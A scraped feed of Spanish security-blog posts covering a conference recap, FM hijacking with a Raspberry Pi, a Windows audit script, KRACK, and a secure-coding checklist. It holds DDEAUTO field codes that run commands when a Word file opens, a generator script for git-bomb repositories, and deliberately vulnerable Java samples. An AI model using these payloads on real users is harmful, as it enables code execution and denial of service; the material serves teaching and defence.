Quantcast
Channel: hackplayers
Viewing all 1661 articles
Browse latest View live

Las resacas de Navaja Negra #nn7ed

$
0
0
Llámalo condescendencia o milagro, o quizás se han alineado los astros, pero este año (y por fín) como hidalgo que cabalga a La Mancha he podido escaparme a la séptima conferencia de Navaja Negra, 5 y 7 de octubre de 2017, ¡volví a Al3acete!

Edificio José Prat, paraninfo de la UCLM de Albacete, con capacidad para 720 pax.
Para ésta mi pequeña crónica, no voy a hacer una caracterización de cada una de las charlas y talleres puesto que el formato de la conferencia y la carencia del don de la bilocación no lo permitían. Es decir, no pudimos disfrutar de todo porque se trataba de tracks muchos simultáneos repartidos entre las charlas del paraninfo y talleres en algunas de las aulas de la UCLM de Albacete. De esta manera digamos que cada uno ha de ir balontado y escribiendo su propia "aventura" de Navaja Negra. Si además añadimos el CTF tipo Jeopardy de Ka0labs nos adentramos en una auténtica encrucijada de difíciles elecciones casi cada hora. ¿Charla, taller o CTF?

En el CTF se podía participar en remoto o presencialmente pero sólo los que lo hacían de esta última forma podían optar a los premios. En mi opinión hubiese estado mejor hacerlo una semana antes, en formato abierto online y que los que optaran a los premios lo hicieran si iban a asistir al congreso, por ejemplo introduciendo algún código generado durante la compra del ticket. De esta manera los participantes del CTF tendrían la opción de asistir también a las charlas y/o los talleres durante el evento y recogerían igualmente su premio en la ceremonia de clausura correspondiente. Anyway, los que participaron salieron bastante contentos y al primero puesto volvió Patatas.

"La razón de la sinrazón que a mi razón se hace, de tal manera mi razón enflaquece, que con razón me quejo de la vuestra fermosura".

Taller de inicialización al exploiting
Para los talleres este año se introdujo además el término "Academy" para acercar a los nóveles y estudiantes a la (in)seguridad informática, en formato de una serie de mini-talleres prácticos de iniciación al pentesting donde se trataban las vulnerabilidades más típicas: SQLi, XSS, LFI/RFI, CSRF y una introducción a la criptografía. Evidentemente a esos talleres no fuí pero su iniciativa es plausible.
Luego, de entre el abanico de los "otros" talleres tuve la oportunidad de asistir en primera persona al de "Palizón a la Pila" aka "Iniciación al exploiting" del chachilón Antonio Pérez, básico pero que provocó alguna que otra jaqueca, y tremendamente educativo. El resto de talleres según me comentaron tampoco fueron "modo de pavo"...

"Adonde interviene el favor y las dádivas, se allanan los riscos y se deshacen las dificultades".

En cuanto a las charlas pude ver varias, algunas realmente buenas e interesantes sobre muchos y variados temas: los ataques provenientes del cuartel de Bureau 121, la reutilización de viejos satélites militares, pruebas de intrusión en redes corporativas, detección de tráfico malicioso mediante machine learning, virus en sistemas SCADA, servidores de contenido vulnerables, malware bancario móvil y malware hecho a base de código disponible en repositorios de Github, hacking de TPVs, el caso Lexnet... Sería injusto resaltar alguna específica de entre las demás, precisamente porque no pude ver todas, por la duplicidad que comentaba antes y bueno... por salir hasta las tantas y la maldita resaca.

"Señor, los perros están ladrando. — Tranquilo, Sancho, es señal de que estamos cabalgando."

Una de las charlas de la nn7ed
Y destaco "resaca" porque si hay algo reseñable de la conferencia (a parte de los Miguelitos) es precisamente esta consecuencia del colegueo, o si prefieres "networking" término banal americanizado, de las noches en el hotel Universidad o de las salidas por los bares y el centro, en definitiva, del ánimo y disposición de juntarse la peña para hablar, divertirse y hundir gotas de hacking en hielos y alcohol. Pues a más de uno preguntaba por qué se anclaba al silla en la terraza de un bar pudiendo asistir a alguna charla o taller en la universidad y siempre coincidían en la respuesta "porque ésto también es la Navaja Negra".

"Esta que llaman fortuna, es una mujer borracha y antojadiza, y sobre todo, ciega, y así no ve lo que hace, ni sabe a quien derriba".

¡Enhorabuena a los organizadores!

Secuestrando una estación de radio FM con tan sólo una Raspberry Pi

$
0
0
Una de las bondades de las Raspberry Pi (en adelante RPi) es la capacidad de transmitir una señal de radio FM usando uno de los pines análogicos de la GPIO. Muchos hackers y fabricantes lo utilizan para la construcción de transmisores FM de corto alcance, e incluso se podría utilizar para televisión de barrido lento (Slow ScanTV, SSTV), un método de transmisión de imágenes utilizado principalmente por radioaficionados para transmitir y recibir imágenes estáticas, en blanco y negro o en color a través de la radio.

Todo lo que necesitamos es una RPi, un trozo de alambre para una antena y un poco de software.
Si bien esto se utiliza principalmente para proyectos digamos "honestos", también puede ser utilizado para fines más nefastos. WONDERHOWTO ilustra esto en un artículo bien detallado sobre cómo se puede utilizar las capacidades de transmisión FM de un RPi para secuestrar una estación de radio. Esto se conoce como "intrusión de señal de difusión", y funciona básicamente sobrepoderando la señal de una estación existente. La infame transmisión de Max Headroom que ocurrió en Chicago, Illinois en 1987 es probablemente el ejemplo más conocido de la intrusión de señales de transmisión.

Para lograr esto con una RPi, realmente sólo necesitamos un trozo de cable de unos pocos metros de largo para actuar como antena, algo de software y, opcionalmente, un dongle RTL-SDR. Todo lo que tenemos que hacer es crear un archivo de audio WAV y transmitirlo. Si la antena es lo suficientemente buena y el objetivo está lo suficientemente cerca, superará la señal de la frecuencia que está transmitiendo. Esta técnica se puede utilizar para denegar al objetivo la información que se está transmitiendo en esa frecuencia, o incluso a inyectar sin problemas información propia para engañar a los mismos. Por supuesto, esto es ilegal... ;)

Fuente: https://blog.hackster.io/hijack-fm-radio-with-a-raspberry-pi-f31f41a205f2

WINspect: un script en PowerShell para la auditoría de Windows

$
0
0
WINspect del francés Amine Mehdaouiaka A-mIn3 es un script en PowerShell v2.0 que, según reza en el README de su repositorio en Github, forma parte de un proyecto más grande para auditar diferentes áreas de entornos de Windows. Se centra en enumerar diferentes partes de una máquina Windows para identificar debilidades de seguridad y apunta a los componentes que necesitan una fortificación adicional.

Características

La versión actual de WINspect admite las siguientes características:

- Comprobación de los productos de seguridad instalados.
- Comprobación de la "secuestrabilidad" de las DLL (en el contexto de seguridad de los Usuarios autenticados).
- Comprobación de la configuración del Control de cuentas de usuario (UAC).
- Comprobación de restos de instalaciones desatendidas.
- Enumeración de partes del sistema local de archivos expuestos al mundo.
- Enumeración de usuarios y grupos de dominio con pertenencia a grupos locales.
- Enumeración de autorun de registro.
- Enumeración de servicios locales configurables por los miembros del grupo Usuarios autenticados.
- Enumeración de servicios locales para los cuales el binario correspondiente es escribible por los miembros del grupo Usuarios autenticados.
- Enumeración de  Windows Hosted Services no pertenecientes a system32 y sus DLL asociadas.
- Enumeración de servicios locales con rutas sin entrecomillar (path unquoted).
- Enumeración de tareas no programadas del sistema.

Lista TODO

- Controles de políticas de seguridad local.
- Config de parches administrativos.
- DLL cargadas.
- Conexiones establecidas/escuchando.
- Scripts de GPO expuestos.

Uso:

PS C:\> . .\WINspect.ps1


Fuente: https://github.com/A-mIn3/WINspect

Ejecución de comandos en Ms Word sin macros (DDE)

$
0
0
Hace un par de días en un post de Sensepost hablaban de un sencillo método para ejecutar comandos en MsWord sin necesidad de usar macros ni ninguna vulnerabilidad de corrupción de memoria...¿magia? No, se trata de DDE...

    "Windows proporciona varios métodos para transferir datos entre aplicaciones. Un método consiste en utilizar el protocolo Dynamic Data Exchange (DDE). El protocolo DDE es un conjunto de mensajes y directrices. Envía mensajes entre aplicaciones que comparten datos y utiliza memoria compartida para intercambiar datos entre aplicaciones. Las aplicaciones pueden utilizar el protocolo DDE para transferencias de datos únicas y para intercambios continuos en los que las aplicaciones envían actualizaciones entre sí a medida que se disponen de nuevos datos".

Usar el contexto DDE en Excel o en Word con propósitos maliciosos puede ser bastante útil porque evita el filtrado de macros de los gateways de correo y las políticas corporativas de VBA. Además, la investigación de Sensepost arroja que usar DDE en MSWord es tan sencillo como agregar un campo y hacer lo siguiente:

- Vamos a "Insertar", "Elementos rápidos", "Campo":



- Elegimos "= (Formula)" y Ok:


** Cómo método alternativo simplemente podemos añadir un campo pulsando CTRL+F9

- Después de eso, veremos un campo insertado en el documento con un error "!Final de fórmula inesperado". Haremos clic con el botón derecho en el campo y seleccionaremos "Activar o desactivar códigos de campo"


Ahora debe aparecer el código de campo:


que debemos modificar a lo siguiente:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

La palabra clave DDEAUTO indica a MSWord que se trata de un campo DDE y se ejecutará automáticamente cuando se abra el documento, la segunda parte es la ruta completa del ejecutable que se lanza y la última parte entre comillas son los argumentos a pasar (ejecutar calc.exe).

Ahora guardamos el documento como uno normal ".docx", y lo abrimos en cualquier máquina.

La primera advertencia es actualizar los enlaces del documento, nada malicioso allí.


El segundo prompt le pregunta al usuario si desea o no ejecutar la aplicación especificada,  esto puede ser considerado como una advertencia de seguridad, ya que le pide al usuario ejecutar "cmd.exe", sin embargo, con la modificación de sintaxis adecuada se puede ocultar...


Cuando la víctima hace clic en sí ....


Lo mismo se puede lograr con el identificador de campo "DDE":

{DDE "c:\\windows\\system32\\cmd.exe""/c notepad" }

pero en este caso tendremos que modificar el .docx para habilitar la actualización automática de vínculos. Para ello, hay que descomprimir el archivo .docx, editar word/settings.xml, e insertar la siguiente etiqueta XML:

<w:updateFields w:val="true"/>



Luego guardamos el archivo de configuración y actualizamos el archivo. Al abrirlo, Word solicitará actualizar los enlaces dcon un prompt ligeramente diferente que antes, pero con el mismo resultado que DDEAUTO.
 


Y lo mejor, sin macros, sin avisos de seguridad, y FuD ...

https://nodistribute.com/result/plDzKfx3VtEnFiNUAg



Fuente: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Lo que faltaba a tu arsenal de DoS... ¡llegan las bombas git!

$
0
0
Kate Murphy ha publicado un interesante repositorio al que podríamos llamar "bomba git" el cual es imposible clonar porque el proceso del Git quedará colgado hasta cerrarse o, peor, porque nos quedaremos sin memoria hasta incluso tener que reiniciar...

$ git clone https://github.com/Katee/git-bomb.git

Si navegais por el repositorio, os dareis cuenta de que está formado por sólo 12 objetos. Entonces, ¿cómo un repositorio tan pequeño hace que git se quede sin memoria? El secreto es que git desduplica "blobs" (que se utilizan para almacenar archivos) para hacer los repositorios más pequeños y permite el uso del mismo blob cuando un archivo permanece sin cambios entre commits; y lo mismo con objetos "árbol" o tree (que definen la estructura de directorios en un repositorio).
'git-bomb' trata de hacer mil millones de archivos, sin embargo, sólo tiene 10 referencias a la blob de archivos y sólo tiene 10 objetos de árbol en total.
Es muy parecido al ataque de "mil millones de risas" también llamado "bomba XML", de ahí el nombre de "bomba git".

Estructura

En la parte inferior hay un archivo de blob que contiene "one laugh":
$ git show 5faa3895522087022ba6fc9e64b02653bd7c4283
one laugh

Luego hay un objeto de árbol que se refiere a este blob 10 veces:
$ git ls-tree 6961ae061a9b89b91162c00d55425b39a19c9f90
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f0
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f1
# … snipped
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f9

En el medio tendremos 9 capas de objetos de árbol que se refieren al objeto de árbol debajo de ellos (aquí está el objeto del árbol superior):
$ git ls-tree 106d3b1c00034193bbe91194eb8a90fc45006377
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d0
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d1
# … snipped
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d9

Finalmente la referencia maestra sólo apunta al objeto de árbol de la parte superior:
$ git log --pretty=format:"%s | tree: %T"
Create a git bomb | tree: 106d3b1c00034193bbe91194eb8a90fc45006377

Nota: Hay que tener en cuenta que tratar de interactuar con cualquier cosa que sea explorar el árbol del repositorio (git status, git checkout) dará problemas de memoria porque precisamente git construye el árbol en la memoria antes de escribir archivos en el disco. Eso significa que el proceso se destruirá en lugar de llenar el espacio en disco.

Otras bombas Git

Aquí hay una versión ligeramente diferente de la misma idea. Este repo tiene 15.000 objetos de árbol anidados. Esto hará "volar" la pila la mayoría de las veces y causará un segfault.

$ git clone https://github.com/Katee/git-bomb-segfault.git

Por último, si quieres hacer tus propias bombas git puedes utilizar el siguiente script, también cortesía de Kate:
#! /usr/bin/env python3
import binascii
import subprocess
import tempfile


def write_git_object(object_body, type='tree'):
    '''Writes a git object and returns the hash'''
    with tempfile.NamedTemporaryFile() as f:
        f.write(object_body)
        f.flush()
        command = ['git', 'hash-object', '-w', '-t', type, f.name]
        return subprocess.check_output(command).strip()


def write_git_commit(tree_hash, commit_message='Create a git bomb'):
    '''Writes a git commit and returns the hash'''
    command = ['git', 'commit-tree', '-m', commit_message, tree_hash]
    return subprocess.check_output(command).strip()


def create_tree(dirs, perm):
    body = b''
    for a_dir in sorted(dirs, key=lambda x: x[0]):
        body += bytearray(perm, 'ascii') + b'\x20' + bytearray(a_dir[0], 'ascii') + b'\x00' + binascii.unhexlify(a_dir[1])
    return body


def create_blob(body=''):
    return bytearray(body, 'ascii')


if __name__ == '__main__':
    depth = 10  # how many layers deep
    width = 10  # how many files or folders per depth level
    blob_body = 'one laugh'  # content of blob at bottom

    # create base blob
    blob_hash = write_git_object(create_blob(body=blob_body), type='blob')

    # write tree object containing many files
    dirs = [('f' + str(i), blob_hash) for i in range(width)]
    tree_hash = write_git_object(create_tree(dirs, '100644'), type='tree')

    # make layers of tree objects using the previous tree object
    for i in range(depth - 1):
        other_dirs = [('d' + str(i), tree_hash) for i in range(width)]
        tree_hash = write_git_object(create_tree(other_dirs, '40000'), type='tree')

    commit_hash = write_git_commit(tree_hash)

    # update master ref
    open('.git/refs/heads/master', 'wb').write(commit_hash)

Fuentes:
- Exploding Git Repositories: https://kate.io/blog/git-bomb/
- Github: https://github.com/Katee/git-bomb

El protocolo WPA2 de Redes Wifi ha sido hackeado: KRACK (Key Reinstallation Attack)

$
0
0
El investigador Mathy Vanhoef de la Universidad KU de Leuven ha descubierto una manera de vulnerar el protocolo WPA2 de la redes Wifi (IEEE 802.11i), el más extendido y seguro por defecto, que puede derivar en el descifrado, duplicación e inyección de paquetes, el secuestro de conexiones TCP y/o la inyección de contenido HTTP en la red wifisin necesidad de conocer la contraseña de la misma.

Dicho fallo de seguridad ha sido bautizado como KRACK (Key Reinstallation Attack) por el tipo de ataques realizados contra las redes WPA2.

Las vulnerabilidades descubiertas se encuentran en la etapa del Handshake de la Wifi, cuyos objetivos son el descubrimiento de red, la autenticación mutua entre cliente y router o punto de acceso (AP) y la negociación de las keys de sesión, y la selección de la suite y el algoritmo de cifrado de los data frames. Durante este proceso de intercambio de claves es posible lograr que los clientes reinstalen una clave ya intercambiada, que debería ser de un solo uso, permitiendo así reiniciar los parámetros asociados a la conexión, y esto se consigue forzando el reenvío de ciertos paquetes del Handshake por parte del AP.  Los ataques se producen debido a la reutilización de la misma clave con valores "Nonce" utilizados previamente en las comunicaciones entre cliente y AP, y de esta forma mensajes con contenidos conocidos son reenviados y se podrían descifrar al utilizar la misma clave.

Todas las redes Wifi WPA2 utilizan estos handshake por lo que todas están afectadas.

En este enlace se encuentra la presentación del mismo autor en la pasada Asia CCS sobre vulnerabilidades en el 4-way Handshake en Wifi WPA2 descubiertas con anterioridad y que han acabado llevando a KRACK: http://papers.mathyvanhoef.com/asiaccs2017-slides.pdf

La investigación sobre KRACK será presentada oficialmente este otoño en las conferencias Computer and Communications Security (CCS) y Black Hat Europe, aunque todo su trabajo se encuentra explicado en la siguiente página web: 
 

Impacto

El siguiente gráfico sacado del White Paper oficial en el que se presenta la vulnerabilidad resume el impacto de los Key Reinstallation Attack para todos los crifrados WPA2 (WPA-TKIP, AES-CCMP, y GCMP) usados en los distintos tipos de Handshake disponibles: 
- 4-way Handshake
- Fast BSS Transition (FT) handshake
- Group Key Handshake.

Además se especifica en que dirección (del cliente al router/AP, o viceversa) los frames son duplicados, descifrados o creados/inyectados.


Resumiendo sobre lo que se puede lograr mediante ataques KRACK y lo que no:

Tipos de ataques KRACK:
- Descifrado de paquetes
- Duplicado de tramas Broadcast y Multicast
- Secuestro de conexiones TCP al averiguar los números de secuencia TCP de una conexión
- Descifrado e inyección de paquetes TKIP o GCMP
- Inyección de contenido HTTP al setear una clave de cifrado all-zero en Android 6.0 y Linux (en otros clientes la dificultad del proceso es mayor)

Lo que no se puede realizar con KRACK:
- Averiguar la contraseña de la Wifi WPA
- Inyectar paquetes AES-CCMP

Cifrados WPA y WPA2 del estándard IEEE 802.11i

De acuerdo con los test realizados por el autor, los dispositivos más afectados son los que utilizan sistemas operativos Android 6 o superior y Linux (con la librería wpa_supplicant) ya que es posible resetear una de las claves intercambiadas en el Handshake. Por otro lado ciertas versiones de iOS y Windows 7/10 poseen implementaciones propias del protocolo del IEEE que no permiten la retransmisión de ciertos paquetes, y de momento no están afectadas aunque podrían descubrirse métodos para explotar KRACK en ellos.


Mayor profundidad y detalles técnicos se pueden encontrar en los papers oficiales y los enlaces que se encuentran al final del artículo.

Explotación

El ataque KRACK contra WPA2 no es trivial y requiere de un alto grado de sofisticación y conocimientos técnicos. Por el momento el autor solamente ha divulgado un vídeo con una demo del proceso de ataque a un dispositivo Android/Linux conectado a una red Wifi, aunque se preveé que libere una serie de herramientas para comprobar si las redes Wifis son vulnerables, y a partir de ellas es cuestión de tiempo que aparezcan exploits públicos.


¿Solución?

Como el propia autor ha señalado, las vulnerabilidades se encuentran en la propia definición del protocolo del IEEE 802.11i y algunos señalan al propia organismo IEEE como culpable por el oscurantismo en el desarrollo de los standards, pero el protocolo puede ser parcheado aunque requiere que los fabricantes desarrollen sus propias implementaciones.e acuerdo con Google las últimas actualizaciones que datan de Agosto ya contenían los parches, aunque falta la aplicación por parte de fabricantes en sus respectivos sistemas.

Apple ha confirmado hoy mismo que ya existen los parches para las nuevas versiones betas de iOS, tvOS, watchOS y macOS.

Los parches para Hostapd y wpa_supplicant en Linux ya están disponibles en https://w1.fi/security/2017-1/.

Previsiblemente el resto de fabricantes irán publicando la implementación del parche para WPA2 en sus dispositivos, cuyo seguimiento se puede hacer en esta web: https://github.com/kristate/krackinfo


La pregunta que queda plantearse es:

¿Supone esto el golpe definitivo a WPA2 y ha llegado ya la hora de WPA3?

http://www.commitstrip.com/en/2017/10/16/wpa2-vulnerability-just-a-small-update/

FUENTES:
- Web Oficial:
https://www.krackattacks.com
- Demo:
- Papers oficiales de Mathy Vanhoef:hFUENTESttps://twitter.com/vanhoefm
- Charla presentando la vulnerabilidad en la próxima Black Hat Europe 2017:

La lista de comprobaciones básica para programar de forma segura y evitar la mayoría de vulnerabilidades del TOP10 de OWASP

$
0
0
Recientemente veíamos una entrada en Digital Munition en el que se muestran diferentes malas prácticas en programación vistas en aplicaciones Java EE. Estas malas prácticas se derivan en vulnerabilidades comunes, muchas de ellas en el top 10 de OWASP. La siguiente tabla sintetiza las causas principales de estas vulnerabilidades con las técnicas de mitigación correspondientes, un imprescindible para el desarrollo seguro:

1. Autenticación

Prácticas insegurasPrácticas seguras
Concatenación de peticiones SQL para validación de login.

La concatenación de cadenas con los datos proporcionados por el usuario es siempre propensa a permitir ataques de inyección de SQL.


String username=request.getParameter(“username”);
String password=request.getParameter(“password”);
String query = “SELECT * FROM users WHERE username = “+username+” AND password=”+password;
Statement st = con. createStatement();
Results res = st.executeQuery(query);
Uso de peticiones parametrizadas o precompiladas.

Para evitar inyecciones SQL se recomienda el uso de sentencias preparadas y consultas parametrizadas.


String username=request.getParameter(“username”);
String password=request.getParameter(“password”);
String query = “SELECT * FROM users WHERE username =? ANDpassword=?“;
PreparedStatement ps = con.prepareStatement(query);
ps.setString(1, username);
ps.setString(2, password);
Results res = ps.executeQuery();
Falta de autenticación en el acceso a páginas/acciones internas.

Muchas veces, las aplicaciones no implementan autenticación para las páginas/acciones internas, lo que da como resultado el acceso a páginas/acciones internas sin iniciar sesión/una sesión válida.
Implementar código de autenticación en todas las páginas internas haciendo uso de variables de sesión

// Después de iniciar sesión con éxito. Establecer la identidad del usuario en una variable de sesión.
session.setAttribute(“username”, username);
// En cada solicitud, verificar si la identidad del usuario está presente en la sesión.
String username = (String)session.getAttribute(“username”);
if(username == NULL)){
response.sendRedirect(“ErrorPage.java”);
return; }
No restricción de los intentos fallidos de inicio de sesión.


Si la aplicación no restringe los intentos de inicio de sesión inválidos, permitirá que el usuario pueda hacer un ataque de fuerza bruta y comprometa otras cuentas de usuario.
Realizar un seguimiento y restringir los intentos fallidos de inicio

Mantener una lista de intentos fallidos de inicio de sesión por parte de un usuario.

Establecer un límite de umbral de intentos no válidos como por ej. a 5.

Bloquear temporalmente al usuario al superar el límite de umbral.

 

2. Autorización

Prácticas insegurasPrácticas seguras
Falta de restricción de acceso al nivel de datos.

Muchas veces, las aplicaciones exponen claves primarias o
identificadores de registros de datos como campos ocultos a losusuarios. Y en las peticiones, las usan para identificar y procesar los registros solicitados. Sin embargo, si se confía en estas entradas sin ninguna validación, se podrían manipular para acceder a registros de datos no autorizados del sistema.

String query = “SELECT * FROM accts WHERE account = ?“;
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter(“acct”));
ResultSet results = pstmt.executeQuery( );


Aquí, la lógica anterior obtendrá cualquier registro que coincida con el valor del parámetro de solicitud: "acct".
Implementar restricción de acceso a nivel de datos.

No utilizar entradas no confiables como identificadores para los registros de datos. Aplicar comprobaciones de acceso a nivel de datos para garantizar que el usuario tenga acceso al registro solicitado.
Esto se hace usando restricciones de consulta como se muestra a continuación. Hay que tener en cuenta que aquí la identificación del usuario se obtiene inicialmente de la sesión iniciada por el usuario.

//Obtener la identidad del usuario en la sesión
String uname = (String) session.getAttribute(“username”);
//Obtener el registro de datos junto con la restricción (validación de registros)
String query = “SELECT * FROM accts WHERE account = ? and username = ?“;

PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter(“acct”));
pstmt.setString( 2, uname);

ResultSet results = pstmt.executeQuery( );
Ninguna restricción de acceso basada en roles

En general, las aplicaciones ocultan las características de los usuarios, dependiendo de sus funciones. Sin embargo, si la verificación de acceso basada en roles no se implementa en las páginas internas, un usuario con pocos privilegios podrá acceder a todas las funciones indicadas para otros usuarios de privilegios elevados.
Implementar restricciones de acceso basadas en roles.

Aplicar controles de acceso basados en roles en todas las características de la aplicación. Esta verificación es para garantizar que el usuario tenga privilegios adecuados para acceder a las funciones solicitadas.
Esto se puede hacer al obtener el rol de usuario conectado de la base de datos y verificarlo con los roles necesarios para acceder a la función solicitada.

//Obtener la identidad de usuario de la sesión
String uname = (String) session.getAttribute(“username”);

//Obtener el rol del usuario de la base de datosString query = “SELECT role FROM users WHERE username = ?”;

ResultSet results = pstmt.executeQuery( );
if(results. next()){ String urole = results.getString(“role”); }
//Validating whether the user is allowed to access the feature

if (!urole.equals(“admin”)) {
response.sendRedirect(“Error.jsp”);

return;
}

3. Inyección SQL


Prácticas insegurasPrácticas seguras
Uso de entradas no confiables (como los valores obtenidos de la solicitud, base de datos, sesión, etc.) sin ninguna validación previa, para formar consultas SQL concatenadas.

Si las entradas que no son de confianza se utilizan para formar
consultas SQL concatenadas, se produce una vulnerabilidad de inyección de SQL.

// Entrada no confiable
String customerID = request.getParameter(“customer”);

//Petición SQL concatenada
String query = “SELECT balance FROM customer_data where customer_id = “ + customerID;
Statement statement = connection.createStatement();
ResultSet results = statement.executeQuery(query);
Usar SIEMPRE peticiones SQL precompiladas o parametrizadas.

//Entrada no confiable.
String customerID = request.getParameter(“customerId”);

//Petición SQL parametrizada
String query = “SELECT balance FROM customer_data wherecustomer_id = ?“;
PreparedStatement ps = conn.prepareStatement(query);
ps.setString(1, customerID);
ResultSet results = ps.executeQuery();

 

4. Validación de entradas

Prácticas insegurasPrácticas seguras
El uso de entradas no confiables (como los valores obtenidos de la solicitud, base de datos, sesión, etc.) sin ninguna validación previa, para formar comandos del sistema operativo, rutas de archivos, URL o almacenados en la base de datos.

//Entrada no confiable
String name = request.getParameter(“req_name”);

//Salvado en la base de datos sin validación previa
String query = “INSERT into user_details VALUES (?);
PreparedStatement ps = con.prepareStatement(query);
ps.setString(1, name);
Validar todas las entradas no confiables, principalmente los parámetros de solicitud, antes de procesarlos.

A) Validación de lista blanca: se refiere a validar las entradas del usuario en función de su naturaleza (como aceptar valores alfanuméricos o solo valores numéricos, etc.) Estas validaciones también incluyen restricciones de longitud y tipo de datos.

B) Validación de la lista negra: se refiere a la comprobación de la presencia de caracteres especiales o cierto conjunto de caracteres en lalista posterior en los valores de entrada.

//Entrada no confiable
String name = request.getParameter(“req_name”);

//Validar el valor introducido antes de guardarlo en la base de datos.
Pattern p = Pattern.compile(“[^A-Za-z]”);
Matcher m = p.matcher(name);
boolean b = m.find();
if (b != true) {
String query = “INSERT into users VALUES (?);
PreparedStatement ps = con.prepareStatement(query);
ps.setString(1, name); }

5. Ataques de redirección

Prácticas insegurasPrácticas seguras
Uso de entradas no confiables (como los valores obtenidos de la solicitud, base de datos, sesión, etc.) sin ninguna validación previa, para formar el valor de la URL de redirección.

//Entrada no confiable
String url = request.getParameter(“redirect_to”);
//Usado para redireccionar al usuario a la URL facilitada.
response.redirect(url);
UsarURLs relativas para redirección. En caso de que se requieraredireccionamiento a sitios externos, limitarlo a un conjunto de
dominios específicos.


A) Mantener una lista de dominios de confianza.
<%!
public static String m_TargetDomains[] = { “test.com”,
“example.com”, “google.com” }; %>

B) Validar la URL de destino presente en la solicitud comparándola con la lista  predefinida de dominios de confianza. En caso de no coincidir, redirigir al usuario a una página de error.
<% String url = request.getParameter(“redirect_to”);
boolean validTarget = false;


for(int i = 0; i < m_TargetDomains.length; i++) {
if (url.equals(m_TargetDomains[i])) {
validTarget = true;
break; } }
if (validTarget == false ) {
response.sendRedirect(“Error.jsp”);
} else{ response.sendRedirect(url); }
%>

6. Cross-site scripting

Prácticas insegurasPrácticas seguras
Mostrar datos en la respuesta sin ninguna codificación ni validación.

Las aplicaciones, en general, recuperan las entradas de los usuarios de la solicitud y las procesan sin ninguna validación. Si dichos valores de
las entradas se muestran de nuevo al usuario en cualquiera de las
funciones posteriores, sin ninguna codificación, provocan una
vulnerabilidad de Cross site scripting.

//Untrusted input
<% String fname = request.getParameter(“fname”); %>
//Displaying value of the variable in the form element, without any validation or encoding
Fname:<input
type=”text” id=”fname” value=”<%= fname%>” />

Codificar los datos antes de mostrarlos en las respuestas

//Untrusted input
<% String fname = request.getParameter(“fname”);
//Encode the value to be displayed
String encodedName = HTMLencode(fname);

//Display the encoded value of the variable in the form element.
Fname: <input type=”text” id=”fname” value=”<%=encodedName %>” /> %>

7. Cross-site request forgery

Prácticas insegurasPrácticas seguras
Ejecución del state cambiando peticiones sin ningún token.

//Un formularui que acepta la entrada del usuario. No contiene ningún token aleatorio.

 <html> <body>
<form name=”form1″ method=”get” action=”textInput.jsp”>
Enter your name:<input type=”text” name=”yourname” />
<input type=”submit” value=”Submit”/>
</form>
</body></html>
//Al recibir la petición, los valores del formulario son leídos y salvados en la base de datos. Como no hay un parámetro aleatorio en la petición, las peticiones pueden falsificarse con una sesión de usuario válida.
<% String name=request.getParameter(“yourname“);
….
String query = “INSERT into user_details VALUES (?);
PreparedStatement ps = con.prepareStatement(query);
ps.setString(1, name);
….
%>
Implementar el token Anti-CSRF para solicitudes de cambio de estado. Por lo tanto, dificultando la falsificación de tales solicitudes desde otras sesiones iniciadas.

A) Generar un token aleatorio para cada usuario autenticado y guardarlo en la sesión del usuario.
session.setAttribute(“csrfToken”, generateCSRFToken());


private String generateCSRFToken() throws NoSuchAlgorithmException {
byte[] random = new byte[16];
BASE64Encoder encoder = new BASE64Encoder();
SecureRandom sr = SecureRandom.getInstance(“SHA1PRNG”);
sr.nextBytes(random);
return encoder.encode(random);
}

B) Agregar estos tokens de seguridad a las páginas de transacción, como parámetro oculto.

String token = session.getAttribute(“csrfToken”);

<form name=”form1″ method=”get” action=”textInput.jsp”>

Enter your name:<input type=”text” name=”yourname” />

<input id=”csrftoken” type=”hidden” value=”<%=token%>” />

<input type=”submit” value=”Submit”/>

</form>

C) Al recibir la solicitud, validarla sobre la base de este token. Aceptar la solicitud solo si el token es válido.

HttpSession session = request.getSession();

String storedToken = (String)session.getAttribute(“csrfToken“);
String token = request.getParameter(“csrftoken“);

//Validation check
if (storedToken.equals(token)) {
// process the request
} else { //reject the request }
//Invalidate sessions upon logout
session.invalidate();


8. Administración de sesiones

Prácticas insegurasPrácticas seguras
Mantenimiento de los mismos tokens de sesión Pre-login y Post-login


Por lo general, las aplicaciones mantienen el mismo ID de sesión para
las páginas de inicio de sesión y post inicio de sesión. En todos estos
casos, si el atacante obtiene la ID de la sesión de inicio de sesión
previa de cualquier usuario, puede ser fácilmente utilizada para
secuestrar la sesión de inicio de sesión posterior de ese usuario.
Mantener diferentes tokens de sesión para las sesiones de inicio de sesión y post inicio de sesión.

// Después de iniciar sesión con éxito, invalida la sesión actual e inicie una nueva sesión.
Esto generará una nueva ID de sesión para el usuario después de iniciar sesión.

if (login succeeds) {
HttpSession userSession = req.getSession();
userSession.invalidate();
userSession = req.getSession(true);

… }
Sin invalidación de sesión después de cerrar sesión

Si la aplicación no invalida la sesión del usuario actual después de cerrar sesión, será fácilmente secuestrada. Se mostrará el acceso a las páginas internas de la aplicación, ya que la sesión del usuario permanecerá activa en el servidor.
Invalidar la sesión del usuario en el logout

//En logout, invalidar la sesión

<%
HttpSession userSession = request.getSession();%>
<% userSession.invalidate();
Atributos path y httpOnly de la cookie no configurados en la aplicación

No implementar el atributo "httpOnly" hace que el ID de sesión almacenado en las cookies del lado del cliente se pueden leer con Javascripts.
No implementar el atributo "path", hace que los navegadores envíen la sesión los valores de ID incluso para otras aplicaciones alojadas en el mismo servidor.
Implementar el uso de path y httpOnly en los atributos de la cookie


//Configurar atributos adicionales para la cookie de sesión:
response.addHeader(“Set-Cookie”,”JSESSIONID=”+
id + “; Path=/; HttpOnly”);
No se establece un timeout de sesión en la aplicación.

Si la aplicación no establece el período de inactividad de la sesión, las sesiones permanecerán idle en el servidor.
Configurar un timeout en la sesión


//Configurar timeout de sesión en el fichero web.xml

15

Fuente:https://www.digitalmunition.me/2017/10/secure-coding-checklist-owasp-top-10-vulnerabilities/

